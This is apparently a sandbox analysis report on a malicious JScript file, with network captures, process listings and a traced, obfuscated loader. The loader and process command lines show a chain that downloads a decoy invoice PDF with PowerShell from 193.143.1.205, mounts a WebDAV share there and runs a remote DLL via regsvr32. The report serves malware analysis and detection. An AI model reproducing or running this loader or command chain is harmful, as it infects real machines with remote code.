Jan 11, 2025 06:37:11.377301931 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:37:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:37:11.377329111 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:37:11.377341986 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 06:37:11.377382040 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 06:37:11.377388954 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 06:37:11.377401114 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 06:37:11.377412081 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 06:37:11.377423048 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 06:37:11.377434015 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 06:37:11.377445936 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 06:37:11.377549887 CET	328	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB
Jan 11, 2025 06:37:11.378036022 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:37:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:37:11.378712893 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:37:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	193.143.1.205	8888	6784	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:37:12.741837025 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:37:13.535572052 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:37:13 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:37:05
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20607103592010424982.js"
Imagebase:	0x7ff7b93c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:37:05
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll
Imagebase:	0x7ff6f7510000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:37:05
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:37:05
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:37:11
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	00:37:11
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f7510000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:37:11
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff70f330000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:37:12
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	00:37:12
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:37:12
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1596,i,4769099861608467819,11199554090265279533,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bbmzobdf() {	bbmzobdf() ➔ undefined
1	fmuavav = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var xcdbkzds = this[hwxgyblf + ojajyfgza + lbjeniz + stajjb + mlywezcm + ttuqu + hmwwn + dsqwcgdo] ( this[eidcpewk + oagrb + jrugnfan + lbjeniz + aztmuq + hwxgyblf + dsqwcgdo][lgtkp + lbjeniz + mlywezcm + ojajyfgza + dsqwcgdo + mlywezcm + kgizhxxs + tmqbxup + zjeqpa + mlywezcm + jrugnfan + dsqwcgdo] ( eidcpewk + oagrb + jrugnfan + lbjeniz + aztmuq + hwxgyblf + dsqwcgdo + gzioiyah + oagrb + rwxclpap + mlywezcm + kwfpmj + kwfpmj ) [uxqyz + mlywezcm + uptqgabng + uxqyz + mlywezcm + ojajyfgza + gypifkq] ( kaoihv + fdthlitq + avenvxt + gmjnioy + rytfntg + lgtkp + nrgzwx + uxqyz + uxqyz + avenvxt + qglopilt + nmghr + rytfntg + nrgzwx + oagrb + avenvxt + uxqyz + jqcnu + lgtkp + alysica + hmwwn + dsqwcgdo + lbjeniz + alysica + kwfpmj + itykjo + zjmleydfc + ojajyfgza + hmwwn + mlywezcm + kwfpmj + jqcnu + ttuqu + hmwwn + dsqwcgdo + mlywezcm + lbjeniz + hmwwn + ojajyfgza + dsqwcgdo + aztmuq + alysica + hmwwn + ojajyfgza + kwfpmj + jqcnu + frcyv + alysica + jrugnfan + ojajyfgza + kwfpmj + mlywezcm ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( uadoz = 0 ; uadoz < fmuavav[kwfpmj + mlywezcm + hmwwn + uptqgabng + dsqwcgdo + rwxclpap] ; ++ uadoz )
4	{
5	if ( xcdbkzds == fmuavav[uadoz] )
6	{
7	xcdbkzds = true;
8	break ;
9	}
10	}
11	if ( xcdbkzds !== true )
12	this[eidcpewk + oagrb + jrugnfan + lbjeniz + aztmuq + hwxgyblf + dsqwcgdo][pijszfjcz + xkqypnbwr + aztmuq + dsqwcgdo] ( );
13	this[eidcpewk + oagrb + jrugnfan + lbjeniz + aztmuq + hwxgyblf + dsqwcgdo][lgtkp + lbjeniz + mlywezcm + ojajyfgza + dsqwcgdo + mlywezcm + kgizhxxs + tmqbxup + zjeqpa + mlywezcm + jrugnfan + dsqwcgdo] ( eidcpewk + oagrb + jrugnfan + lbjeniz + aztmuq + hwxgyblf + dsqwcgdo + gzioiyah + oagrb + rwxclpap + mlywezcm + kwfpmj + kwfpmj ) [lbjeniz + xkqypnbwr + hmwwn] ( jrugnfan + cdapvm + gypifkq + itykjo + dudsxm + jrugnfan + itykjo + hwxgyblf + alysica + lcqusktjt + mlywezcm + lbjeniz + stajjb + rwxclpap + mlywezcm + kwfpmj + kwfpmj + gzioiyah + mlywezcm + seqpbkbu + mlywezcm + itykjo + olimp + lgtkp + alysica + cdapvm + cdapvm + ojajyfgza + hmwwn + gypifkq + itykjo + eihjlg + ttuqu + hmwwn + dubus + alysica + dtkhvepj + mlywezcm + olimp + eidcpewk + mlywezcm + tmqbxup + uxqyz + mlywezcm + jfujqot + xkqypnbwr + mlywezcm + stajjb + dsqwcgdo + itykjo + olimp + kgizhxxs + xkqypnbwr + dsqwcgdo + eyzbhxg + aztmuq + kwfpmj + mlywezcm + itykjo + jqbql + dsqwcgdo + mlywezcm + cdapvm + hwxgyblf + jqbql + jqcnu + aztmuq + hmwwn + dubus + alysica + aztmuq + jrugnfan + mlywezcm + gzioiyah + hwxgyblf + gypifkq + eywlrmxh + itykjo + rwxclpap + dsqwcgdo + dsqwcgdo + hwxgyblf + ilblpids + dudsxm + dudsxm + obdioksoq + bvccwhggj + wpwhu + gzioiyah + obdioksoq + kyryvdbbt + wpwhu + gzioiyah + obdioksoq + gzioiyah + srfedmmty + xgrwpjqk + aocgyyg + dudsxm + aztmuq + hmwwn + dubus + alysica + aztmuq + jrugnfan + mlywezcm + gzioiyah + hwxgyblf + rwxclpap + hwxgyblf + eihjlg + zzrhe + zzrhe + stajjb + dsqwcgdo + ojajyfgza + lbjeniz + dsqwcgdo + itykjo + jqbql + dsqwcgdo + mlywezcm + cdapvm + hwxgyblf + jqbql + jqcnu + aztmuq + hmwwn + dubus + alysica + aztmuq + jrugnfan + mlywezcm + gzioiyah + hwxgyblf + gypifkq + eywlrmxh + zzrhe + zzrhe + jrugnfan + cdapvm + gypifkq + itykjo + dudsxm + jrugnfan + itykjo + hmwwn + mlywezcm + dsqwcgdo + itykjo + xkqypnbwr + stajjb + mlywezcm + itykjo + jqcnu + jqcnu + obdioksoq + bvccwhggj + wpwhu + gzioiyah + obdioksoq + kyryvdbbt + wpwhu + gzioiyah + obdioksoq + gzioiyah + srfedmmty + xgrwpjqk + aocgyyg + savuyutyp + bosgogvno + bosgogvno + bosgogvno + bosgogvno + jqcnu + gypifkq + ojajyfgza + dubus + lcqusktjt + lcqusktjt + lcqusktjt + lbjeniz + alysica + alysica + dsqwcgdo + jqcnu + zzrhe + zzrhe + jrugnfan + cdapvm + gypifkq + itykjo + dudsxm + jrugnfan + itykjo + lbjeniz + mlywezcm + uptqgabng + stajjb + dubus + lbjeniz + wpwhu + srfedmmty + itykjo + dudsxm + stajjb + itykjo + jqcnu + jqcnu + obdioksoq + bvccwhggj + wpwhu + gzioiyah + obdioksoq + kyryvdbbt + wpwhu + gzioiyah + obdioksoq + gzioiyah + srfedmmty + xgrwpjqk + aocgyyg + savuyutyp + bosgogvno + bosgogvno + bosgogvno + bosgogvno + jqcnu + gypifkq + ojajyfgza + dubus + lcqusktjt + lcqusktjt + lcqusktjt + lbjeniz + alysica + alysica + dsqwcgdo + jqcnu + kyryvdbbt + vztkadnq + srfedmmty + srfedmmty + srfedmmty + srfedmmty + srfedmmty + aocgyyg + vztkadnq + kyryvdbbt + kyryvdbbt + bvccwhggj + aocgyyg + gzioiyah + gypifkq + kwfpmj + kwfpmj, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll",0,false) ➔ 0
14	}
15	cdapvm = "p";
16	cdapvm = "f";
17	cdapvm = "l";
18	cdapvm = "m";
19	seqpbkbu = "g";
20	seqpbkbu = "L";
21	seqpbkbu = "q";
22	seqpbkbu = "N";
23	seqpbkbu = "P";
24	seqpbkbu = "x";
25	kwfpmj = "x";
26	kwfpmj = "l";
27	bvccwhggj = "V";
28	bvccwhggj = "h";
29	bvccwhggj = "U";
30	bvccwhggj = "A";
31	bvccwhggj = "M";
32	bvccwhggj = "I";
33	bvccwhggj = "L";
34	bvccwhggj = "d";
35	bvccwhggj = "N";
36	bvccwhggj = "U";
37	bvccwhggj = "W";
38	bvccwhggj = "d";
39	bvccwhggj = "m";
40	bvccwhggj = "n";
41	bvccwhggj = "x";
42	bvccwhggj = "D";
43	bvccwhggj = "a";
44	bvccwhggj = "9";
45	srfedmmty = "H";
46	srfedmmty = "V";
47	srfedmmty = "k";
48	srfedmmty = "Z";
49	srfedmmty = "H";
50	srfedmmty = "o";
51	srfedmmty = "H";
52	srfedmmty = "v";
53	srfedmmty = "N";
